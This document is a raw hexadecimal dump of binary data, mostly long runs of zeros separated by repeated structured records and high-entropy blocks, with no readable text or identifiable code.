00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010A00000000089D0B0000C71800009D0B9800006898009385781FB0A4C81339FE4ECB131F5761EB26F24B7713A434F21768D03742CCF14B2395DF4CB4D7F5A8BEE21B6929B6DDB491C87411014D76335AAABCA6BB19AD555ECE729401C522A48129C6EC95979054775E40BC6525EADC5A9D4ED54E461C4602724BCA099021593AA751724FA0C2043029E50F3428A0811C09B88AC7FCE52AAF1CFF86BAB673940B2089C09401C38D1A50540EBD5D9A88B6F2CFA3826B178D2AA71B0645D4547AEC85AB9238250A716DE86AB0A6599ECC76A098F7AFB45DFBE9BABDF1F34A4C5A450AB0EABC338C0049B4BC0FD8526A40AC1F60E5E4379FE2BFABC6D25BDA5E7D89BB559C37FF7B870C5810C53423D87247540DE02ED9D1E3A0880A6BB19AD555E535D8CD6AAAF67394A00E1698EB2879577B514B28D60804D12F5D0B414C45556053FACBF04BED440D6B545F941EDFEAF4A76F23107DD09376FECD6225A30EE3FCEB788827B42C0B583DF76FB350984E2B67394A00E1B64A00E16D8A4481510885B14EFA2B17C74D7A0B13EF45D6A8794BD82CD5F28A25B0DBACD29CF711A34584BD9794F24CB7F5053B44FD21612A78B1995E18FE0024DD1E07EC2930B259D354FF9061D96A9FE5A34053B1AB2DD87AA7943EB7DDE1AED75C953FBB2DD09C2C80FA58D26D1F763A0880A6BB19AD555E535D8CD6AAAF67398EE9401C4849E5F92F4ECB817FCBF5B6257AB23992F27F8046DE0B11B7DE3793FC2F62F193A7617D793DB562C71B35AF39ECF160BAB24FE76104CA9E2367B55B39CA0424A00E1ABBF7234FD7C52501BC222E69B722630C90A0EA8D37D16B10B626454179AEDFCDAB3FEF94546044EB6C9582461C5246FEDD4D407DE8A83D44A330EABC38740049B23C0FD85266A047158F14DE5FB21D94BA9B1C8059D40112CFB3858C0DEB300BF42C94ED44B2370253FC835A6FBC7412014D76335AAABCA6BB19AD555ECE729401C55D79900427A041A4BEF1CD0170CDBCC5D1AD95EBF517A36F9D17A0A0F99A8EC90B228FDC9FBB4DC7F7E8AC4E4334C68599D63600D8E513AC32B2866CB31DF7DB014C376D3859E4511835FF379CD5B39CA500718C6D02A2545AF8B020783F3C6905346D750CB32EE7FBED75BB472621146E886FB7A1FC866643229BE633C339D929ED5CB4F9E376B073B30899AD01DDDD463ECF2BF93BB387319BCAF0E0300126AEF01F614898253AF65186FE3E829B2F0D3D99CE0E637DA32E52E2642A3B9E9CA4B85123A477046A390B586C3A0900A6BB19AD555E535D8CD6AAAF67395FA4F754625058B41862D0F9357A9997B2FFA18578D5611A7D16E44EDABA862A9084F989A28E176BB69A9F88DA21649EFC913DB6FCAC9FD9093F67E739C36FA85F7B433E58D9BE334CCF42AD9CE6E254A00E1295D15050440D7B20928F12D43F9EECE73851DDCAEEF5E9B4115B1B5252777964FD352BEF6BBA9CFE36FFA7AA48D01943A3E7C992F23F1B12D646B5DD1FD4C7D11445E4CB1A4B6720367BE578719800936E781FB0A4C8101D580DB6413981B321791AB70BF83464F1CC8FD91B2B79DEB9836598A426C8CFB099DB60FF1FF2F03A0900A6BB19AD555E535D8CD6AAAF67398F04A00E152500626EE1BB5D4CB50187ECBEAD81313276DB92CA085B6F49179AA114D065104D0759292C906BB452BD035527D067DB11FBE667079491C930788F16BEE80936CE0CC95AEED83D356CE731DD280386212803855B28D4CA24D58A37B814CACAAF582F227CD28C29B454BD6A3DCDA01E07932D959F05EC679053424E14C345C8DF3181AD94D3BF97933200F62CB70F949662C4C9FF320B080F0ABC37D40049A23C0FD85226011E2A3F76A62B8C418C643E01489452570EE5AA457B9A838DE425D44DFB594DADE7F1B07412014D76335AAABCA6BB19AD555ECE729401C41535C0CD64AEEAEF4782C682FD5D8A6EE85D4E0417F89F859DE5E679CB216C5166EE9D97DFE00478372737AD23B5A55797D9AACCE485FBBCB1B7D9B6BC512B21B6726D4C28C329B2B67394F64F7920C7A7503A80D76236810BF45494D1ED144A2F7F67F5B05416BA3448EFC33D0B5D1B239E3145034850539557AD2272F2C001101A3B3811842947258C765A678C4978042883BBB7CA96EC0E8DF2D2AF0CB7001269AF03F61489001FE3E6E040E90CF2817B29A4F070A9E1A90FFD27C03C6F1CA1A3BFB33BD854DF92F0CCCD8E822029AEC66B555794D76335AAABD9CE52803887EB05475491557B53269C8EDEA2B138979CD6F535E2D975C6BD3774EA091A16DE44286F9D6BAD590D90C01E53337AB632687515AD30F39404BA899AEE1B02D01E8CED56CE731E29401C486ABAEC29A3411705EA85EA85F689A79D551CA8AAB36B8163A381C796FBD6ADCB45B2F3B39C87F61FB8A3212F48082C4707AD526894FEBB7F3361FFDB55C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000023C000000000C7B000000E91B0000010142007B00891020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040023D000000000C7B0000002B1C0000010141007B00821020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040023E000000000C330000006C1C000001014200330010814002000003000082420C9811DA4DD3D752EFDC18175FDC1877A38F67AE2D2489F6DC1170E106AD3DEB86BFBB9ED7833168023F000000000C7B000000AE1C0000010142007B008110200002800000800000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000400240000000000C7B000000F01C0000010141007B008A10200002800000800000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000400241000000000C33000000311D000001014200330000814002000003000082420C9811DA4DD2D752EFDC18175FDC1877A38F67AE2D2489F6DC1170E106AD3DEB86BFBB9ED78331680242000000000C7B000000731D0000010142007B008910200002800000800000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000400243000000000C7B000000B51D0000010142007B008210200002800000800000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000400244000000000C33000000F71D000001014200330010814002000003000082420C9811DA4DD3D752EFDC18175FDC1877A38F67AE2D2489F6DC1170E106AD3DEB86BFBB9ED78331680245000000000C7B000000391E0000010142007B00811020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040010B00000000089D0B00003B1A00009D0BA8000062E800935D781FB0A4CC10A95C5BDE9D8D042BC91E3CE5F407B2BBDF3147B7177F3B3530359706FEA78304DEDEC63C91B87411014D76335AAABCA6BB19AD555ECE728174A00E1E843C8BF51A2AA2F12F7D7EE69B4766D7AFAC9786C3F779FDDD64DAAF270DDACDB724B1A3642383D7892D46758BEB3E2D919BAD7A846A85F2D456B2B673940B27E9401C40DAA0AAA8B2D5425D6D42F273CA364C8BC860C6B6738A96D1BA946D91220A255E50AB2408BEC97FC8E7E46F39B6DF9224779ED91DFDF7476588D5E18760024D81E07EC2913045337A563CBD3FDAEF7D4D48306A66584CC7084003E319CF8AC29CC43C45A16BDB4E6C8425241E3A0880A6BB19AD555E535D8CD6AAAF67398F1A99280388261449E1E69D4C40B5EA9A4AAC1F5E23A2821BCA77D15AF2DAA6B59A7244343A61BA4793D667BD88DF508A73B6E820806FBF9E4D4648DDAC53C56CE729401C6B0A71DDADF6459AC1CB2694B76D513EA3B4D1F6269BC9AEB70C37D3712F457FCF1BAA46B28FE16DF7BC9B3AAD46F28E25A5EEE1A0770BFCEB231AAF0CB900126CCF03F614890235C305219C1F065A609E6DFF4B091AEFACA74E30E7830C8E14C57B106C0BAC16445483C0C9B7BEC7411014D76335AAABCA6BB19AD555ECE7352E250070DE5629881340D1D15935938446A1A8A5B29A94F14E2ADC021C4235D494D0B44F9D64D3029A14B0D2E766F629B203799DAC53FFEA837A4B1E444BE6503FDFCAD9CE6A5C4A00E23F468F50A13546A845EB51D4F0A8DEA324C44E711839B508B8B53C694D60926588EF271DA763D016BA699BAF6DC7B7D51F2124530002C46F0A2424F64AF0D5700126A4F03F6148D8D9F07E6CCB0953AFEA27FDC851C3C63E90EF4663EC26FE3646A2A36FD971E00DB6B53C3151C7412014D76335AAABCA6BB19AD555ECE729401C342B823D721A064225E9AA88F282C979C4A82722AFC09DFCEADC32DF19E4D098A53989DC361479FC78683334FCB316B9C12F7E79E4CC8DDE4D742CF3324E7CF638F3BB4833856CE72BB29401C4408293CF569FAAE5AAAEA8A8419E10CACB3D6B5AB22E1B820BE1D00A1F62D0A37723C27755B9CE5575BC86184B046319CFA0C843CA77FEDE708999DDB65F2990F8A97DF55E1CA20024DF5E07EC29320C35A652781BDA1002517DFA9E4CB86BD1D16F01A1077ABE8DCB341D291FA7072476D8C86C2B6D21B2C5271D0480535D8CD6AAAF29AEC66B5557B39CA50070D3AFF64B238B5362E04C5B541D2D64EDC8DE779128B5ACBBD2A3D816CDADB64F7685AB260A17A858D8530FC3CA4C76D7C75EDF82603B426D76322C8C184910DB04960585DC0B6F22667926AB67394F9022469401C3BF7D7621B4A39AAF42282EAD4C95424F05B74C313A8965F9418EC9D3EDA2D460DD32AA6250B90FD114E38BCE1FC134DB856226BDE7719EA178B1C268C55B34668D1766C6D7B15E19B60024DD5E07EC2933609899DC12868F83D87B646ACF9A39D6E1AF49C16384155A674F1BE196A33B2C2F0B6A7A4870D1D464671D0440535D8CD6AAAF29AEC66B5557B39CA059280386AD0EEBFE45FD1ED86EEF2EA417752501A3AC1486D0A028B4E5B7DA763622803C91386894D7CDDEB3C356DF9CD840B25650DAAA0E67E746F41DDD996410AB67394A00E21E4A00E1404D4F91A0A5A978DDFE8FEA0981350AD42368A56D5222ED36C670204E41420B2A8BE48AC1EB3D2A2B4EA74C1AFE8B942F3D5EA3BAD9F99BD262D30AF0C910012700F03F6149D8D29CCCE1BA6FB7DC1092E73F2E153186161E98779F76E8E329A9FDF92B2810C95307B1F7469FED927D23E91D0440535D8CD6AAAF29AEC66B5557B39CD4BA9401C26314BF827129352D5D8504AA534FBE82D449C933FDBD27A30E5165A242AEAB0ECECBB4D4EAD618C9A54D39A5AAE5B8990EED179B295B9022FA25AAD9CE528038C0975A920EAD1A4C0A34D8A3E86C4C0041E5ED46AF51DE451698E8D04E46A2AFC9A02D294D6887565F0F1425E912270FE789B21E7059BC67B2B2D675AAF0E0B00126CEF03F6148D8423DBF76D5F716D9772A82C967A782041F008856D6FEE43DD338121F95113EE07740F8A6EACB5DD63A0900A6BB19AD555E535D8CD6AAAF6739896A0A9401C2DABFEC4B4524496C4AB68D90A7D46085AD09B79082A2BA76C744E89ED6B50BF1E697D985D239437A1D75B58983DAA27F8CFFF5F30BBBBD806408FE569AA767C2CF040DF75BB356CE731E29401C517413AA01ADFCD97B6E5A9D4DD818EA764DEFD8C1B7688456B22B4F9FC3FF820C4C4CB72578AD9CD1945E77129BE65831E044B0098CC81F115F4D2135643E8AD22D9183F282C81FDF574F76C7F04EEC188433738D0AD2BCDFC10A9BE8BAD5188500FE32DB16C91552358FED94C633146990BC25DD16FA404DDF7D17EC08474DC84DF0CAE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000246000000000C7B0000007B1E0000010142007B008A10200002800000800000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000400247000000000C33000000BD1E000001014200330000814002000003000082420C9811DA4DD2D752EFDC18175FDC1877A38F67AE2D2489F6DC1170E106AD3DEB86BFBB9ED78331680248000000000C7B000000FF1E0000010142007B008910200002800000800000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000400249000000000C7B000000411F0000010142007B00821020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040024A000000000C33000000831F000001014200330010814002000003000082420C9811DA4DD3D752EFDC18175FDC1877A38F67AE2D2489F6DC1170E106AD3DEB86BFBB9ED7833168024B000000000C7B000000C51F0000010141007B00811020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040024C000000000C7B00000006200000010142007B008A1020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040024D000000000C330000004820000001014100330000814002000003000082420C9811DA4DD2D752EFDC18175FDC1877A38F67AE2D2489F6DC1170E106AD3DEB86BFBB9ED7833168024E000000000C7B00000089200000010142007B00891020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040024F000000000C7B000000CB200000010142007B008210200002800000800000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000030000400250000000000C330000000D21000001014200330010814002000003000082420C9811DA4DD3D752EFDC18175FDC1877A38F67AE2D2489F6DC1170E106AD3DEB86BFBB9ED78331680251000000000C7B0000004F210000010142007B00811020000280000080000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000003000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000820000115D0A0583150000CE059B010C00000000089D0B0000AE1B00009D0BB800007128009367781FB0A4C800EB504EDD130D0859016350FE502E8664590E9BFA8246687257B4141E17EA6F784097A0FC45EC351D0480535D8CD6AAAF29AEC66B5557B39CA05D57A50070BA214AEFCB83D51A11C216EE3B79573AA8B6AA7B0A9FEA37D6BC94CD999FCC467DE6F097AF7C36A3B09F5AA3FE583311B061AFF950CFFA7B01867ACCD6ACD2A624C6118D0CB515E9420FD982B67398EE9401C5B28115ABF55306BA926B07426B788A13DBB9323D5A9C9626E9B1A68DCC5A151A9CC95834D07999E42ECB75C9F94616FA5396509B7DD8058744FD3B4F899D8DF781DDB2C1795E19D60024E95E07EC29335099974BDE8C9B2B1832ECF0EE1372D77760F68B6FD03598794CF3DBA7B0E1C1B6D24FE53C07A069D114992809BD11E11D0440535D8CD6AAAF29AEC66B5557B39CA82250070A9250070C5654F02AA551EF2D3B53455E9AF5775146CD2F85A8C7EA96C358CD36A645A4B3426AB689F597AD46652775E2D7772C6D7AB0CF23BE756CE729401C4CF4106189C8E17A96CA7410A13B1BB686D046BCA17E555777991CCBACBEA5058B6AAF63E2D868A12079108D1AD9DE681EDBD6AD69EBFC2912C5093C65B9AAF0C4D00126C0F03F61489B011FA017E2990E32E3B7CF2C6E6C048C2D41D4A7076A3C597D29835CAE09813668852722C6D22B1D0440535D8CD6AAAF29AEC66B5557B39CA500717E27D7685A3569C5ABF422F61103AEAAC193F65E2C67B6A0B0FA67DE8BC537D71041B1A7BF30B7FE446AF508B207F89506D51405B3F06A16F351656CE72871A500712A5DC690ABEAEE5562A2C45BB2C6AA46B0A12292CC8DE49EB435EF086D236756996AA9E7C97D31A0CAB923589A2C60CED67E43D7AFBDB51C7D907AB92BC348C0049C43C0FD85266C1DCDA2670F02BD23C7ABC8F492396FFF81292D7332468AA7CDDECB7C4253557E638525B526D5C5EDD52705247411014D76335AAABCA6BB19AD555ECE729401C43E82D401551755428B09D4F76BEDE7BC964D4489CA9D977FFEEFDDCEEBDEBD02DBB4504FF26964A5769D74E395BB32478887F30CA2BA4516F6CDC96F2272716C36C9E11356CE729401C557025F74351FBB13E4E329D08D437EB466C23684D40218ABB457661ADD0F3CED2BDCCBAF4A68BEB56239BE4322EFF9C54105A9A5FCC35E4DB7A8410C95E1C460024D85E07EC29336CFA37AC1E987E4D963B966F1B3958BE5942E479D37D70D931835ACE03C2EC63635662C18C2645A1D0480535D8CD6AAAF29AEC66B5557B39CA5007148C29F2A2904D6E0B61BC9896439F8662858FE42E42801DF4AEE7264231858C2A707AD7682D860FC826B04066A707ACA0D932537FE6F63A6CFC8B276667E84CC003239BB276167FBBE2B67394A00E1A7B8A5C3792CB12F05B5513714A0A804BF460C18A59885A2B35491FD3650694CC45EB6AD908CA6B16A746EECB1630B0019386030D0C13340BC8BFD91E862D41EF992609FC95BF8563334F1892AF0D9700126DEF03F6149D846A2F85FA3CBD9792915494DA194875804245AC78D53561A6466BA50AC85E5A61FB577F1D58FCDB5663A0900A6BB19AD555E535D8CD6AAAF67394A00E20989513CAAB2037D05A38E501A010AD149C645E02684FAF11C97B0E98A9E4988BD7EEE0682C6D3F7B6DCD0648C22071465E1FD1D28E590D420C08F43B55872B196B336E7A5B33FA226D0D156CE729401C575585DD09258EAB95614E36BC7C4E413468E6EC514D35304AA204DCE58CB60D82F67BF640EF1526517DE1C420CF85EA16496D04579E14D3BF9A291B16945BA895E194E0024E39E07EC29330459432ABCB69E8B2A4AB2E79B6AA08C2420C181E6426634F058CC73FC0967B8DDCABFCDB8962D7A26403698908E822029AEC66B555794D76335AAABD9CE52803896B282AF41213C4FB91746A08224BCD644CA4A382B588F14AAE0F22BA02747C2AD3EB33099AF3509029C55D8D825E3232142F33CA102142FE54400CCC5C18536C329E2B67398F14A00E25BAD4081589DAD5C12415034AFC09AD7E196FBC10082EDA6A746B5791454D1AC97900C9E267D6A2AB7B043286D5880EBDE2022C9ABC326C0049B4BC0FD8522408907F4F02CA99DDA573CB49FC9640335B3E9F174BEC6F2BBAC39F67F3E3D438E5E9B13153092D89A3A0880A6BB19AD555E535D8CD6AAAF673940BA50070B8205170A0C2A097D493E926D814CD5469AA9CA0B9202B2D46B515509AD9A3611588C8B22D9A57CA899ECD831356D9EFEAD644F7EFD04D444BE7D4A4F90AB6739B949280387C2A5CB14EB275A34B27129D7CD18B14FF425556A25A2506436CFD2DB25644BFD00F8B732CF5094B4CE7656CB4E1BD69DC8E1E4B7EC3F5630C27E195D7909B25AF7A1658427273BCE8FF31395FFD4617B14A501477437F023B61339CBF7A4C66E8CCC6BE86FD5963FB3E8D9809BC55046E04ACD8108EF275BA15C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010D00000000089D0B0000221D00009D0BC800006DF8009390781FB0A4CC13EEB97A2CDB5FEF67BD90C0B825385E05FB49BE605C5379ED288464D6847A3B0CA7AD24F953C15D4CF0369D488E824029AEC66B555794D76335AAABD9CE63C614A00E206408D548E8A06B20B10520A0AA051D05EB40E6C7B5E736BC45EAB30DA727F401C8B6AAC476B64FE1E76142DF16B299DC797B68B39F09C932703181BE03C95B39CA7B250070C84D0E91694B50158AAD1B83F5685BB5F19E0F817A6F210AF56CD3735C9849CA35699079D9640D57EB14918FB28DA7BBB29FE2E090B325ED943605AE8A73FFE8FDA36E4C05B002CAF0CB90012708F03B6149D84498F9F1D570ECD842DD6F6AFBEE13341FE1881E5A1D6C62468550CEDC9670E777DB35FA89AE95086A21E441D0440535D8CD6AAAF29AEC66B5557B39CA1C741280387BEE457944822AF1752645D44DE89BBD0A67D114EB5FB235F18CD3B7D2CB56632D814E8CE56BB221A2C472F91AB768B158EDE1FBEBD6B3E2C96E3592C7861CC0AD9CE5021A500710C5C0A240A9510837AF3C411E5B065A82117E1F215B6AEC586AE2913947E8B6B501588A07751CBD8B2D6B2AF46EA73218146D3B7E5F24AF0CDD001270CF03F614998015C3ECA6C3E2E3E7DBE06D2C912D72F46B586039259B6FDF9512FB74D991D485654E0EDBB59C2960E948E447411014D76335AAABCA6BB19AD555ECE731E29401C57ABC43B35555FC65612753C5154E982D53D860B57BB6C18D15B63651B7F5BDF28A14EC151911A7DE963DB30E9AD416A8938FF6627465A68430AB67394A00E298A85C2891A62685F2E14056BAF6826271395B3FBBB155BD382DBD3C9BA7D7C54C8FF378A81B7F90C1F582C256918B68AD1466B5E18A7B672C96006080C81DA00BBABC37640049A63C0FD852261A5149AC7ACF9DB8A1CA8A3CB2BBD06680E8993C2E231E1AB0E60B868BC704C13E36434CAC7412014D76335AAABCA6BB19AD555ECE7313C9401C59D8D1D5812D4D40D77907D0B3D5F02FB38B9130B34B2F7A4EA6D0640D6B69F499B27F786DAA597A73821B41D5AF0633EF85ACCD0877645421BD85B20FFC2D441C99379FCAD9CE5045DA7E9401C2569401C2F410041A85575F60FB642B6D9C251AC7C85F6DFEE2DBA211BAC67C6B11BCD32F436623D9B5820028A38162C125A8A4E2C7BECA283E2F87D826105C1E101C93E9268D9A2184E32BC348C0049C93C0FD85266B0528B4BC9B8DF9A3DF87E5789653FAF4934B2AD2F2C3A33A892FBBA8465AFEFA67ECBFB17B836D1A42EA05803A1D0440535D8CD6AAAF29AEC66B5557B39CD4B89401C29512D975A8D2F62AC56E357AB080CA5EBCB5B711D5A285EEA49A802DD781F77F2CF974E10B5FC84653778533538E99659F242955C09802124604B5311F96BCEDF0F34F1F55B39CD4BA9401C48314A824F6850FF762D15B42A6851BA9C175137519DF4C5AD06D426C9C681D1D1A060CFC5D9037E4CDE6904C8B4720C019D98D6337E564D5E19DE0024E25E07EC293304BB33DE8378570D867D0187BAA5CB6C5C01FC77DD6867237A9C3C142DD11B85873B3F7B871C1A2A702D6D0FB1D0440535D8CD6AAAF29AEC66B5557B39CA500717C2787BCA49D8D45CD3A66BB936AA2A80589D2F20D43D7ED5266304AC4B319D0A64D6083EA30C20442860A2F2B5E0D763B6B36BB292D795A3F0DF84B7A864D5B39CA80D2803865128038715044526EA24E46AE94EFAC64286F5